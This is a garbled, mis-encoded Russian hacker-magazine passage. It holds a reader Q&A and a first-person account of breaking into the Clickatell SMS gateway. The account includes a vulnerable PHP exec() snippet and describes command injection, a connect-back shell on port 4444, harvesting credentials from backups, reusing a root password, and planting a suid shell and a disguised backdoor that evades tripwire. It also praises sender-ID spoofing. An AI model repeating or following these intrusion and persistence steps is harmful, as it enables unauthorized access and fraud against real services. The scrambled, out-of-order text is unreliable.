ëþ. Çàïóñòèâ óäàëåííî êëèåíò, òû ñìîæåøü ïåðåêà÷àòü âñå íåîá-
õîäèìîå íà äðóãîé ftp-ñåðâåð. Âïîëíå ïîäîéäåò è òâîÿ ñîáñòâåí-
íàÿ ìàøèíà, ãäå òû îãîëèøü 21 ïîðò äëÿ äîñòóïà ñíàðóæè. Òàêæå
ïîäîéäåò ðàáîòà ïî ñõåìå ftp over ssh èëè sftp, êîãäà ÷åðåç ssh áó-
äåò ïðîòÿíóò îáûêíîâåííûé ftp-êàíàë, ñ òîé ëèøü ðàçíèöåé, ÷òî
âñå ïåðåäàâàåìûå äàííûå îêàæóòñÿ çàøèôðîâàíû. Ñóùåñòâóþò
óäîáíûå win-êëèåíòû, êîòîðûå ïîääåðæèâàþò îáà âàðèàíòà ñâÿ-
çè. Äîëãîå âðåìÿ ÿ ÷åðåäîâàë SecureFX (www.vandyke.com) ñ
CuteFTP Pro(www.cuteftp.com). Îáà âàðèàíòà � øàðîâàðíûå è
òðåáóþò ìåäèêàìåíòîçíîãî âìåøàòåëüñòâà :). 

Q: ÏÏîîññòòààââèèëë ëëîîêêààëëüüííûûéé SSMMTTPP-ññååððââååðð,, ííîî òòååïïååððüü ïïîîëëîîââèèííàà ììîîèèõõ
ïïèèññååìì ííåå ääîîõõîîääèèòò ääîî ààääððååññààòòîîââ.. ÂÂ ÷÷ååìì ììóóëëüüêêàà??
A: Ëþáîå äåéñòâèå èìååò ïðîòèâîäåéñòâèå, è ïîñëå ìàññîâîãî
ðàñïðîñòðàíåíèÿ ïðîáëåìû ñïàìà, àäìèíû ïåðåøëè âñå ìûñ-
ëèìûå è íåìûñëèìûå ïðåäåëû â áîðüáå ñ íàïàñòüþ. Íå ñåêðåò,
÷òî âåñîìàÿ äîëÿ ñïàìà ðàññûëàåòñÿ ÷åðåç «çîìáèðîâàííûå»
êîìïüþòåðû, íà êîòîðûõ è îòêðûâàþòñÿ ëîêàëüíûå ïî÷òîâûå
ñåðâåðû. Â ïîäîáíîì ñëó÷àå õîñò îòïðàâèòåëÿ è SMTP îêàçûâà-
þòñÿ îäíèì è òåì æå. Êîãäà æå òû ñàì, äàæå íå áóäó÷è çîìáè,
íà÷èíàåøü ïîñûëêó ïèñåì, ñïàì-ôèëüòðû ïðèíèìàþò òåáÿ çà
ðåöèäèâèñòà! Åñëè òû ðàññûëàåøü ïèñüìà þçåðàì îäíîãî è òî-
ãî æå ñåðâåðà, áóäåò ëîãè÷íûì íàõîæäåíèå äîãîâîðåííîñòè ñ
àäìèíàìè, ïî êîòîðîé òâîé õîñò áóäåò óäàëåí èç ÷åðíîãî ëèñòà
è çàíåñåí â «íåïðèêàñàåìûå». Íàäåþñü, ÷òî îáúÿñíèë ïðè÷èíó
òâîèõ íåïîëàäîê. Ãðàìîòíîãî ðåøåíèÿ, ïîìèìî îòêàçà îò èñ-

ïîëüçîâàíèÿ ëîêàëüíîãî ïî÷òîâèêà, óâû, ïðåäëîæèòü íå ìîãó.
×òîáû íå âûãëÿäåòü òîòàëüíûì ëóçåðîì, ïðåäïîëîæó, ÷òî ìî-
æåò ïîìî÷ü íàëàäêà SSH-òîííåëÿ ÷åðåç óäàëåííûé ñåðâåð, êîã-
äà êîíå÷íîé òî÷êîé ñòàíåò ëîêàëüíûé SMTP íà òâîåì õîñòå.
Ïðè ïîäîáíîì ðàñêëàäå, õîñò îòïðàâèòåëÿ è SMTP îêàæóòñÿ
ðàçëè÷íûìè, òåáÿ íå ïîïàëèò ñïàì-ôèëüòð.

QQ:: ÂÂççëëîîììààëë îîääííóó ëëîîêêààëëêêóó èè óó ììååííÿÿ ððîîääèèëëññÿÿ ïïëëààíí �� ññëëèèííêêîîââààòòüü
ïïîîääêêîîííòòððîîëëüüííóóþþ ññååòòüü ññ ììîîååéé ññîîááññòòââååííííîîéé.. ÊÊààêêîîéé ììîîññòò ììîîææííîî
ïïîîññòòððîîèèòòüü ììååææääóó ííèèììèè??
A: Âñå ïðîáëåìû ëþäåé îò òîãî, ÷òî îíè ñòðîÿò ñòåíû âìåñòî ìîñ-
òîâ. Äàâàé æå ïîñòðîèì ïðî÷íûé ìîñò ìåæäó òâîåé ñåòüþ è ëþ-
áîé äðóãîé èçâíå. Ñóùåñòâóåò äâà ãëàâíûõ âàðèàíòà ìîñòîâ (ïî
îäíîìó îòâåòâëåíèþ íà êàæäûé). Ïðîçðà÷íûé ìîñò ìîæåò áûòü
íàëàæåí ìåæäó ñåòÿìè îäèíàêîâîé òîïîëîãèè; íà ìîñòó áóäåò
ðàçìåùåíà èíôà îá óçëàõ îòïðàâèòåëåé è âíåøíèõ èíòåðôåéñàõ.
Òðàíñëÿöèîííûå ìîñòû áóäóò â õîäó, êîãäà íóæíî ñëèíêîâàòü ñå-
òè ñ ðàçëè÷íûìè òîïîëîãèÿìè. Ïîäâàðèàíòû � ñîåäèíåíèå ñ
ìàðøðóòèçàöèåé èñòî÷íèêà è ïîñòðîåíèå òðàíñëÿöèîííîãî ìîñòà
ñ ìàðøðóòèçàöèåé èñòî÷íèêà. Áîëåå ïîäðîáíî î ïîäíÿòèè âñåâîç-
ìîæíûõ ìîñòîâ òû ñìîæåøü ïðî÷åñòü íà opennet.ru. 

QQ:: ÊÊààêê ììííåå ççààááààííèèòòüü ííååññêêîîëëüüêêîî wweebb-ññààééòòîîââ,, ÷÷òòîîááûû òòóóääàà ííåå ëëààççààëëèè
þþççââååððûû ììîîååéé ññååòòèè??
A: Ýòî ìîæíî ñäåëàòü íà óðîâíå ip-ðîóòèíãà, ëþáîé ôàéðâîë ïîç-
âîëÿåò ýòî ñäåëàòü. Ýòî ïðîñòîé è íå òðåáóþùèé äâèæåíèÿ ìûñ-
ëè âàðèàíò. Åãî ìèíóñ â òîì, ÷òî þçåðàì íå áóäåò ïîíÿòíî, êàêî-
ãî-òàêîãî èõ íå ïóñêàþò íà âûçûâàåìûé ñàéò. Òû ðèñêóåøü ïîäõ-
âàòèòü äåñÿòîê íåíóæíûõ çâîíêîâ â ñëóæáó ïîääåðæêè. Êóäà êðà-
ñèâåå òåìà îáóñòðàèâàåòñÿ ïðè ïîìîùè Proxy-ñåðâåðà, âðîäå
øèðîêî èçâåñòíîãî Squid'a (www.squid-cache.org). Íà ñàéòå ñîô-
òèíû ðàçëèëîñü áåñêðàéíåå ìîðå äîêóìåíòàöèè, â êîòîðîì âû-
ëàâëèâàåòñÿ ïîäðîáíîå îïèñàíèå òðåáóåìîãî êîíôèãà. Ñàì ðåà-
ëèçîâûâàë òåìó òàêèì æå ñïîñîáîì, òî÷íî âñå äðî÷åðû ïîäêîíò-
ðîëüíîé ñåòè ïîëó÷àþò ñòðàíè÷êó «Ãðåøíèê! Òû ñãîðèøü â àäó»
ïðè çàïðîñå ïîðíóøíûõ ñàéòîâ. Ïîäîáíîå ìîæíî ñáàöàòü è â ñëó-
÷àå äðóãèõ ïðîêñîâ. 

QQ:: ÊÊààêê ííààèèááîîëëåååå îîïïååððààòòèèââííîî óóññòòààííîîââèèòòüü îîääèèííààêêîîââûûéé ííààááîîðð ññîîôôòòàà
ííàà ññîîòòííþþ-ääððóóããóóþþ ììààøøèèíí îîääííîîââððååììååííííîî?? 
A: Åñëè ÿ íå òî÷íî îòâå÷ó íà òâîé âîïðîñ, áóäåò ðàçóìíûì èñ-
êàòü èíôó ïî êëþ÷åâûì "disk+cloning". Çàäàâ ïîäîáíîå, ÿ íà-
øåë ðåøåíèå â backup-ñîôòå. Òàê, òû óñòàíàâëèâàåøü è íàñò-
ðàèâàåøü âåñü ñîôò íà îäíîì èç ïèñþêîâ, ñíèìàåøü backup-
image ñ íàñòðîåííîé ìàøèíû è ïîòîì ïîñðåäñòâîì Acronis True
Image 8.0 Enterprise Server (www.acronis.com) ðàçáðàñûâàåøü
ñíÿòûé îáðàç ïî ñîòíå-äðóãîé âûáðàííûõ òî÷åê ñåòè. Àíàëî-
ãè÷íûì íàáîðîì ôóíêöèé îáëàäàåò Symantec Ghost Enterprise
(www.symantec.com). Êëþ÷åâàÿ îïöèÿ ïîäîáíîãî backup'à �
multicast, âîçìîæíîñòü ðàçáðîñà íóæíîãî îáðàçà îäíîâðåìåííî
íà ìíîæåñòâî ìàøèí. Âàðèàíò unicast � ýòî àïãðåéä êàæäîé
ñèñòåìû ïî î÷åðåäè. 

QQ:: ßß êêóóïïèèëë ññååááåå MMaacc èè ññððààççóó îîççààääàà÷÷èèëëññÿÿ ïïððîîááëëååììîîéé.. ÊÊààêê ììííåå
óóääààëëååííííîî ààääììèèííèèòòüü ììîîèèõõ þþççååððîîââ,, êêîîòòîîððûûåå ââññåå ååùùåå ððààááîîòòààþþòò
ïïîîää ââèèííääîîéé??
A: Â áèòâå áîáðà ñ îñëîì ïîáåæäàåò áîáðî, ò.÷. MS âñå åùå ïî-
áåæäàåò îñòàëüíûå desktop-ñèñòåìû ñâîèì óìåíèåì âîâðåìÿ
ïðèãîòîâèòü ïðîäóêò, êîòîðûé ïîìîæåò ñîâìåñòèòü íåñîâìåñ-
òèìîå. Ïðÿìî íà ñàéòå MS (www.microsoft.com/mac/otherprod-
ucts/otherproducts.aspx?pid=remotedesktopclient) òû ìîæåøü
ñäóòü Mac-ðåëèç êëèåíòà èçâåñòíîãî Remote Desktop'a. Òåïåðü,
íå âûëåçàÿ èç Ìàêà, ìîæíî àäìèíèòü ìàøèíû, çàðÿæåííûå
òâîèì RD.

QQ:: ÏÏððààââääàà,, ÷÷òòîî ççàà ññïïààìì ññòòààëëèè óóááèèââààòòüü??
A: Ïóëÿ âèíîâàòîãî íàéäåò. Âåñü èíòåðíåò îáëåòåëà íîâîñòü îá
óáèéñòâå Âàðäàíà Êóøíèðà, 35-ëåòíåãî ðóêîâîäèòåëÿ «Öåíòðà
àíãëèéñêîãî ðàçãîâîðíîãî ÿçûêà», ïðåæäå èçâåñòíîãî, êàê «Öåíòð
àìåðèêàíñêîãî àíãëèéñêîãî». Ìîòèâ ïðåñòóïëåíèÿ äî ñèõ ïîð íå-
èçâåñòåí, õîòÿ ñàìûå çëîñòíûå ñïàì-íåíàâèñòíèêè âûäâèãàþò
âåðñèþ, ÷òî èíòåðíåò-ïðîâàéäåðû îáðàçîâàëè ñèíäèêàò è, ñêèíóâ-
øèñü ïîíåìíîãó, íàíÿëè áåçæàëîñòíîãî êèëëåðà, ÷òîáû òîò èçáà-
âèë èõ îò åæåìåñÿ÷íûõ ïîòåðü, âûçâàííûõ ñïàì-òðàôèêîì èç
«Öåíòðà àíãëèéñêîãî»

Q



ÎÄÍÀÆÄÛ ÌÍÅ ÇÀÕÎÒÅËÎÑÜ ÏÐÈÂÅÑÒÈ ÑÂÎÈ ÄÀÍ-
ÍÛÅ Â ÏÎÐßÄÎÊ. ÄÓÌÀÞ, ÌÍÎÃÈÅ ÌÅÍß ÏÎÉÌÓÒ: ÅÑ-
ËÈ ÍÅ ÓÏÎÐßÄÎ×ÈÂÀÒÜ ÈÍÔÎÐÌÀÖÈÞ ÍÅÑÊÎËÜÊÎ
ÌÅÑßÖÅÂ, ÒÎ ÑÒÐÓÊÒÓÐÀ ÍÀÊÎÏÈÒÅËÅÉ ÏÐÅÂÐÀÙÀ-
ÅÒÑß Â ÍÅÈÇÂÅÑÒÍÎ ×ÒÎ. ÈÌÅÍÍÎ ÒÀÊÎÅ ÌÅÑÈÂÎ
ÄÀÂÍÎ ÈÌÅËÎ ÌÅÑÒÎ ÍÀ ÌÎÅÌ ÊÎÌÏÜÞÒÅÐÅ: 

Â ÊÎÐÍÅ ÄÈÑÊÀ «ÖÝ» ÐÀÑÏÎËÀÃÀËÈÑÜ ÏßÒÜ ÈËÈ
ØÅÑÒÜ ÏÀÏÎÊ Ñ ÈÌÅÍÀÌÈ TEMP1, 111 È Ò.Ï. ÌÅÄËÅÍ-
ÍÎ ÍÀ×ÀÂ ÐÀÇÃÐÅÁÀÒÜ ÌÓÑÎÐ, ß ÄÀÆÅ ÍÅ ÏÐÅÄÏÎ-
ËÀÃÀË, ×ÒÎ ÍÅÇÀÒÅÉËÈÂÀß ÓÁÎÐÊÀ ÌÎÆÅÒ ÏÐÈÂÅÑ-
ÒÈ Ê ÑÎÊÐÓØÈÒÅËÜÍÎÌÓ ÂÇËÎÌÓ ÈÇÂÅÑÒÍÎÉ ÊÎÐ-
ÏÎÐÀÒÈÂÍÎÉ ÑÅÒÈ | Master-lame-master

[óòåðÿííûé êîìïëåêò ñöåíàðèåâ] Îáû÷íî, êîãäà ðîåøüñÿ â õëàìå
äàííûõ, òî íàõîäèøü äàâíî óòåðÿííóþ èíôîðìàöèþ. Òàê âûøëî è â ýòîò
ðàç: çà ïîë÷àñà óáîðêè ÿ óñïåë îáíàðóæèòü òðè mp3-øêè, êîòîðûå ÿ â ïî-
òå ëèöà èñêàë ìåñÿö íàçàä, ïàðó òåêñòîâèêîâ ñ çàñíèôàíûìè ïàðîëÿìè,
à òàêæå íåñêîëüêî óâåñèñòûõ tar.gz-àðõèâîâ, ïîïóñòó çàíèìàþùèå ìåñ-
òî íà ìîèõ íàêîïèòåëÿõ. Íî ýòî áûëè òîëüêî öâåòî÷êè. Ìíå ïîñ÷àñòëè-
âèëîñü íàéòè ïàïêó ñ íàçâàíèåì clickatell, â êîòîðîé íàõîäèëñÿ àðõèâ÷èê
www.tar.gz. Â ïîñëåäíåì ðàñïîëàãàëèñü âñå web-ñöåíàðèè êîìïàíèè
Êëèêàòåëü. Åñëè òû ïîñòîÿííûé ÷èòàòåëü æóðíàëà, òî çíàåøü, ÷òî ïîë-
ãîäà íàçàä ìíå óäàëîñü ëèõî ïîðóòàòü Êëèê è îòïðàâèòü íà øàðó 
ïàðó ñîòåí SMS'îê :).
Íåáîëüøîå ëèðè÷åñêîå îòñòóïëåíèå: àäìèíèñòðàòîðû Clickatell ïðèíÿëè
ðåøèòåëüíûå ìåðû ïðîòèâ ìîåãî âçëîìà: îíè çàñòàâèëè âñåõ êëèåíòîâ
ñìåíèòü ñâîè ïàðîëè, âïîñëåäñòâèè çàøèôðîâàâ èõ îòíîñèòåëüíî ñòîéêèì
àëãîðèòìîì MD5. Ïîìèìî ýòîãî, àäìèíèñòðàöèÿ ñìåíèëà âñå ïàññâîðäû
íà çàêðûòûå çîíû è çàáàíèëà ìîè IP-àäðåñà íà öåíòðàëüíîì áðàíäìàóýðå :).
Åäèíñòâåííîå, ÷òî ÿ óñïåë ñäåëàòü, ýòî ñïèîíåðèòü ñ WWW-ñåðâåðà àðõèâ,
ñîäåðæàùèé êîíòåíò âñåõ admin- è public-ñöåíàðèåâ.
È âîò, ñïóñòÿ äîëãèå ìåñÿöû, ÿ íàøåë ýòîò àðõèâ. Âíóòðè íàõîäèëèñü
äâå ïàïêè: public è admin. Ïîìíèòñÿ, ÷òî áëàãîäàðÿ àðõèâó ÿ îòûñêàë
äûðêó â ñêðèïòå àäìèíêè, êîòîðàÿ ïîçâîëÿëà âûïîëíÿòü ëþáûå êîìàí-
äû. Íà ñåãîäíÿøíèé äåíü, ïî ïîíÿòíûì ïðè÷èíàì, â àäìèíêó çàéòè áû-
ëî ïðîáëåìàòè÷íî, ïîýòîìó áûëî ðåøåíî èñïûòàòü óäà÷ó â public-÷àñòè
ïðîåêòà. ß ÷åòêî ïîìíèë, ÷òî àäìèíñêèé ñêðèïò ñîäåðæàë áàã â ôóíê-
öèè exec(), êîòîðîé ïåðåäàâàëèñü íåçàýêðàíèðîâàííûå ïåðåìåííûå.
Ïîýòîìó ÿ îñóùåñòâèë ïîèñê ïîäñòðîêè exec âî âñåõ ñöåíàðèÿõ àðõèâà.
Ðåçóëüòàò ìåíÿ ïðîñòî îøåëîìèë: exec âûçûâàëñÿ â êàæäîì âòîðîì
ñöåíàðèè. Îäíàêî, ïîñìîòðåâ ñîäåðæèìîå ôàéëîâ, ÿ áûë ðàçî÷àðîâàí:
âñå ïåðåìåííûå ïðîâåðÿëèñü íà íàëè÷èå ñïåöèàëüíûõ ñèìâîëîâ 
è èíûõ êîíñòðóêöèé. Êàçàëîñü, ÷òî ïðîãðàììèñòû ïîäîøëè ê ïðîáëåìå
áåçîïàñíîñòè ñ óìîì: íà ïåðâûé âçãëÿä èñõîäíèêè íå ñîäåðæàëè íè 

Clickatell ââîçâðàùàåòñÿ

îäíîãî èçúÿíà � êîä áûë ïðîäó-
ìàí äî ìåëî÷åé. Íî ïðè ïðîñìîò-
ðå î÷åðåäíîãî ñêðèïòà ìîè äîâî-
äû áûñòðî ðàññåÿëèñü. Ìíå ïîñ÷à-
ñòëèâèëîñü îáíàðóæèòü êóñîê êî-
äà ñëåäóþùåãî ñîäåðæàíèÿ:

[êóñîê áàæíîé ïðîãðàììû]
<?
$auth = new siteAuth();
$auth->checkAuth($login);
$user_no = $auth->getUserNo();
$cmd = '/usr/clickatell/compile -v';
if (isset($ota_type)&&$ota_type!=-1) $cmd .= " -t$ota_type";
if (isset($name) && $name != "" &&$ota_type == 1) $port != -1) $cmd .=
" -C$port";
if (isset($isp_name) && $isp_name != "") $cmd .= " -I$isp_name";
if (isset($sms_smsc) && $sms_smsc != "") $cmd .= " -a$sms_smsc";
if (isset($gprs_access) && $gprs_access != "") $cmd .= " -
G$gprs_access";
$ota_ret = exec($cmd);
?>

Äàæå íåïîñâÿùåííûé â PHP ÷åëîâåê ñêàæåò, ÷òî êîä ñîäåðæèò áîëüøîé
èçúÿí. Äåéñòâèòåëüíî, âíåøíÿÿ ïåðåìåííàÿ $cmd âïîëíå ìîæåò ñîäåð-Þ
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Èíòåðåñíàÿ èñòîðèÿ 
íîâîãî âçëîìà Clickatell.com

WWWCLICKATELL
Âñåãäà ïðîâåðÿé
ðàçëè÷íûå êîíôèãè â
êàòàëîãå /etc. Â íèõ ÷àñòî
õðàíÿòñÿ ïàðîëè, êëþ÷è è
äðóãèå èíòåðåñíûå âåùè.

Íå ñòîèò çàáûâàòü, ÷òî âñå
äåéñòâèÿ õàêåðà ïðîòèâî-
çàêîííû, ïîýòîìó äàííàÿ
ñòàòüÿ äàíà ëèøü äëÿ îçíà-
êîìëåíèÿ è îðãàíèçàöèè
ïðàâèëüíîé çàùèòû ñ òâî-
åé ñòîðîíû. Çà ïðèìåíåíèå
ìàòåðèàëà â íåçàêîííûõ
öåëÿõ, àâòîð è ðåäàêöèÿ
îòâåòñòâåííîñòè íå íåñóò.



� ñ ïàïêè áûë óäàëåí àòðèáóò «âûïîëíåíèÿ». Íî, çíàÿ ïðåìóäðîñòè
ñèñòåìû Unix, ìíå óäàëîñü áåç òðóäà âûòàùèòü íóæíûé àðõèâ. Äåëî â
òîì, ÷òî â ôàéëå crontab.weekly ÿâíûì îáðàçîì óêàçûâàëîñü èìÿ àðõè-
âà (home,etc,www-[date].tar.gz), ïîýòîìó îáðàùåíèå ê àðõèâó ñ çàïðîñîì
êîïèðîâàíèÿ â äðóãîé êàòàëîã óâåí÷àëîñü óñïåõîì.
Äàëåå ÿ ïðèñòóïèë ê ðàñïàêîâêå àðõèâîâ. Íà÷àë ñ home.tar.gz. Âíóòðè
íàõîäèëîñü íåñêîëüêî äîìàøíèõ êàòàëîãîâ, íî çàéòè â íèõ ìíå íå
óäàëîñü � àòðèáóòû, êîòîðûå íàëàãàëèñü íà ôàéëû, àâòîìàòè÷åñêè
ïðèìåíèëèñü ê ðàñïàêîâàííûì äàííûì. Â ãîëîâó ïðèøëà ðåçîííàÿ
èäåÿ: çàêèíóòü âñå áýêàïû íà WWW, à çàòåì ñëèâàòü èõ ñî ñòîðîííåé
ìàøèíû. Íî ïðè ïîïûòêå ñêîïèðîâàòü óâåñèñòûé àðõèâ, ñèñòåìà âû-
ðóãàëàñü íà ïðåâûøåíèå äîñòóïíîãî äèñêîâîãî ïðîñòðàíñòâà. ×òîáû
íå óòðóæäàòü ñåáÿ â ïåðåñîçäàíèè àðõèâà, ÿ çàíÿëñÿ íåáîëüøèì ïî
ðàçìåðó àðõèâîì www.tar.gz, ãäå, ïî-âèäèìîìó, ðàñïîëàãàëèñü web-
ñöåíàðèè, øàáëîíû è ïðî÷àÿ åðóíäà. Ñïåðâà ÿ ïîäóìàë, ÷òî ýòîò àð-
õèâ àíàëîãè÷åí òîìó, êîòîðûé ÿ ñëèë ïîëãîäà íàçàä, îäíàêî îøèáàë-
ñÿ. Âíóòðè ðàñïîëàãàëîñü ïîðÿäêà äåñÿòè ïàïîê ñ ðàçëè÷íûìè êîíôè-
ãàìè, ñêðèïòàìè è êàðòèíêàìè. È òóò ìíå ïðèøëà â ãîëîâó õîðîøàÿ
ìûñëü � ïðîâåðèòü php-èíêëóäû íà ïðåäìåò ïàðîëåé è äðóãîé êîíôè-
äåíöèàëüíîé èíôîðìàöèè. Ïðîâåðêà ïîêàçàëà, ÷òî â äâóõ êîíôèãàõ
ðàñïîëàãàëàñü ïðèâàòíàÿ èíôà äëÿ ïîäêëþ÷åíèÿ ê ÁÄ. Ïðè÷åì, êîí-
íåêò ïðîèñõîäèë, êàê ýòî îáû÷íî áûâàåò, ïîä ðóòîâîé ó÷åòíîé çà-
ïèñüþ. Îñòàëîñü ïðîâåðèòü ñîâïàäàåò ëè ðóòîâûé ïàðîëü äëÿ MySQL
ñ ñèñòåìíûì. Äëÿ ýòîãî, ïî òðàäèöèè ÿ èñïîëüçîâàë óòèëèòó ttyX
(ïðèíöèï åå ðàáîòû ÿ óæå îïèñûâàë â îäíîì èç «ýòþäîâ»). Çàïóñòèâ
äåìîí, ÿ ïðèêîííåêòèëñÿ êëèåíòîì, è ïîëó÷èë ýìóëÿòîð ïñåâäîòåðìè-
íàëà. Çàòåì îñóùåñòâèë ñóèä íà ñóïåðïîëüçîâàòåëÿ è... áûë íàäåëåí
âñåìè âîçìîæíûìè ïðàâàìè :). Ïðèçíàòüñÿ, ÿ íå îæèäàë, ÷òî àäìèíè-
ñòðàòîð óñòàíîâèò îäèí è òîò æå ïàðîëü íà ðàçíûå ñåðâèñû, õîòÿ äàí-
íîå ÿâëåíèå î÷åíü ðàñïðîñòðàíåíî ñðåäè âñåõ àäìèíîâ.

æàòü ñïåöèàëüíûå ñèìâîëû, ñ ïîìîùüþ êîòîðûõ ìîæíî ëåãêî ïðîèçâåñ-
òè àòàêó. Ìíå îñòàâàëîñü ëèøü íàéòè ýòîò ñöåíàðèé â public-çîíå îí-
ëàéí-ñèñòåìû Clickatell. Çíàÿ íàçâàíèå ñêðèïòà è ïðèìåðíóþ ñòðóêòóðó
êîìïàíèè, ÿ áûñòðî ðåøèë ïðîáëåìó. Ïîäñòàâèâ â ïîòîê íåñòàíäàðòíîå
çíà÷åíèå ïåðåìåííîé $ota_type, ÿ ïîëó÷èë òî, ÷òî è îæèäàë � ðåçóëü-
òàò âûïîëíåíèÿ êîìàíäû uname -a.

[óñòðàèâàåì ïðèòîí íà ñåðâåðå] Äàëåå âñå ïðîòåêàëî ïî ñòàíäà-
ðòíîìó ñöåíàðèþ: ÿ çàëèë connback-øåëë è çàöåïèëñÿ íà ïîðò 4444.
Â êîíñîëè íå áûëî íèêîãî êðîìå ìåíÿ, ó àìåðèêàíöåâ óæå çàêîí÷èëñÿ
ðàáî÷èé äåíü. Íî âçëîìàòü WWW-ñåðâåð áûëî íåïðîñòî � íà ìàøèíå
ñòîÿëî êðåïêîå ÿäðûøêî èç ñåìåéñòâà 2.4, à òàêæå âåðòåëàñü ïàðî÷êà
íåçàòåéëèâûõ IDS. ×òîáû ïîðóòàòü òàêîé ñåðâåð, íóæíî áûëî ïðèëîæèòü
íåìàëî óñèëèé, ÷òî ÿ è íàìåðåâàëñÿ ñäåëàòü.
Íåñìîòðÿ íà âñÿêèå ñëîæíîñòè, ÿ ãîðåë æåëàíèåì ïîëó÷èòü ðóòà íà ýòîé
îïåðàöèîíêå. Äëÿ ýòîãî, êàê îáû÷íî, ÿ íà÷àë ïðîñìàòðèâàòü âñå êàòàëî-
ãè íà ïðåäìåò íåñòàíäàðòíûõ ôàéëîâ, íî áîëüøèíñòâî èç íèõ íå ÷èòà-
ëèñü ñ ìîèìè ïðèâèëåãèÿìè. Íî ÷åðåç ïîë÷àñà óäà÷à ìíå óëûáíóëàñü:
áîðîçäÿ ïðîñòîðû ïàïêè /etc, ÿ çàìåòèë, ÷òî êîíôèã crontab.hourly, week-
ly, daily è monthly âïîëíå äîñòóïíû äëÿ ÷òåíèÿ! Ýòî áûëî íåìíîãî ñòðàí-
íî, òàê êàê ïî÷òè âî âñåõ ñèñòåìàõ, ñ êîòîðûìè ÿ èìåë äåëî, äàííûå
ôàéëû íå ÷èòàëèñü ïîä ïðàâàìè nobody. Âîçìîæíî, àäìèíèñòðàòîð
ïðîñòî ïåðåíåñ ýòè äîêóìåíòû ñ äðóãîé ìàøèíû, ïîýòîìó ïðàâà íà íèõ
âûãëÿäåëè íåñòàíäàðòíî. Ïðîñìîòðåâ âñå êîíôèãè êðîíòàáà, ÿ ïîëó÷èë
ìàññó äîïîëíèòåëüíîé èíôîðìàöèè, êîòîðàÿ ïîìîãëà ìíå äîáèòüñÿ óñ-
ïåõà. Êàê îêàçàëîñü, êàæäóþ íåäåëþ â âîñêðåñåíèå, ïðîèñõîäèë áýêàï
âñåõ äàííûõ íà âíåøíèé íîñèòåëü. Ïîñëå íåêîòîðîé ïðîâåðêè îêàçà-
ëîñü, ÷òî äîïîëíèòåëüíûé äèñê ìîóíòèòñÿ â òî÷êó /usr/local/clickatell/data,
à âñå áýêàïû ñîäåðæàòñÿ â ïàïêå /backup. Çàéäÿ â êàòàëîã data, ÿ ïîïû-
òàëñÿ ïðî÷èòàòü äèðåêòîðèþ /backup, îäíàêî ýòîãî ñäåëàòü íå óäàëîñü

ÍÅÊÐÎËÎÃ CCLICKATELL
Êîìïàíèÿ Clockatell (www.clickatell.com) ïðåäëàãàåò óñëó-
ãó ðàññûëêè SMS-ñîîáùåíèé ÷åðåç øëþçû â ñåòè Internet
ïðàêòè÷åñêè ïî âñåì ñîòîâûì îïåðàòîðàì. Óíèêàëüíîñòü
ýòîé óñëóãè â òîì, ÷òî îòïðàâèòåëü ìîæåò ïîäñòàâèòü ëþ-
áîé íîìåð (èëè èìÿ) â ïîëå Sender ID. Òàêèì îáðàçîì,
ìîæíî ââåñòè â çàáëóæäåíèå ìíîãèõ ëþäåé, ïîñëàâ ÷åëî-
âåêó SMS îò ïîäëîæíîãî îòïðàâèòåëÿ. Î ïîäîáíûõ ïðèêî-
ëàõ óæå ïèñàëè â ýòîì æóðíàëå (05/2004). Êñòàòè, Clickatell
ïðåäîñòàâëÿåò è äðóãèå óñëóãè, îçíàêîìèòüñÿ ñî ñïèñêîì
òû ìîæåøü íà ñàéòå êîìïàíèè.
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êóñîê êîäà áàæíîãî ñöåíàðèÿ

ôàòàëüíàÿ îøèáêà â public-çîíå
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[óêðåïëÿåìñÿ â ñèñòåìå] Ïîëó÷èâ ðóòà, ÿ ïåðâûì äåëîì ïîäóìàë î áó-
äóùåì. Ìûñëü î òîì, ÷òî ïîñëå ñîçäàíèÿ õàëÿâíîãî àêêàóíòà ñ áåñêîíå÷-
íûìè SMS-êðåäèòàìè, ìíå ïðèêðîþò äîñòóï íà ñåðâåð, íèêàê íå ðàäîâàëà.
Ïîýòîìó íóæíî áûëî êàêèì-òî îáðàçîì çàáýêäîðèòü ñèñòåìó, ëèáî îáëåã-
÷èòü ìåõàíèçì ïîëó÷åíèÿ ðóòîâûõ ïðàâ. ß ðåøèë ñäåëàòü ñëåäóþùåå: íà-
ïèñàòü íåáîëüøîé suid-øåëë, äàþùèé ðóòà ïîä ïðàâàìè ëþáîãî ïîëüçîâà-
òåëÿ, à òàêæå çàìàñêèðîâàòü connback-áýêäîð ïîä ôóíêöèîíàëüíûé ñèñ-
òåìíûé áèíàðíèê. Ó÷èòûâàÿ òî, ÷òî íà ñåðâåðå áûë óñòàíîâëåí tripwire,
ìíå ïðèøëîñü óäàëèòü äâà íå ñîâñåì íóæíûõ áèíàðíûõ ôàéëà è çàìåíèòü
èõ íà ñàìîïàëüíûå ðåëèçû :). Ïîñëå ýòîãî ñ ïîìîùüþ êîìàíäû touch, ÿ óñ-
òàíîâèë íåïðèìåòíîå âðåìÿ ñîçäàíèÿ ôàéëà è íà ýòîì óñïîêîèëñÿ.
Çàòåì ìíå â ãîëîâó ïðèøëà åùå îäíà ìûñëü � ïîïðîáîâàòü äîáûòûé ðó-
òîâûé ïàðîëü â êà÷åñòâå âõîäà íà äðóãèå ìàøèíû. Àõ äà, ÿ ñîâñåì çàáûë
ñêàçàòü, ÷òî çà ìàøèíû áûëè â ïîäñåòè. Êëèêàòåëü ôóíêöèîíèðîâàë ñ ïî-
ìîùüþ âñåãî òðåõ ñåðâåðîâ: äâà èç íèõ áûëè îäíîòèïíûìè (www1 è www2),
îíè îáñëóæèâàëè ïîëüçîâàòåëåé. Íî çàïðîñû îò þçåðà øëè íà öåíòðàëü-
íûé ñåðâåð, íàçîâåì åãî ìàøèíîé-áðàíäìàóýðîì. Èìåííî îí ïåðåñûëàë
ïîëüçîâàòåëüñêèå äàííûå íà îäèí èç äâóõ îáñëóæèâàþùèõ ñåðâåðîâ.
Òàê âîò, ÿ çàþçàë ïîëó÷åííûé ðóòîâûé ïàðîëü íà ñåðâåðàõ www2 è fire-
wall, îäíàêî â îáîèõ ñëó÷àÿõ â ñèñòåìó âîéòè íå óäàëîñü. Ìàëîâåðîÿò-
íî, ÷òî àäìèíèñòðàòîð óñòàíîâèë çàïðåò íà âõîä ïîä ðóòîâûì àêêàóí-
òîì � êîìàíäà last íà ïåðâîì ñåðâåðå ïîêàçûâàëà, ÷òî áîëüøèíñòâî
âõîäîâ îñóùåñòâëÿëîñü èìåííî ïîä çàïèñüþ ñóïåðïîëüçîâàòåëÿ. Ìíå
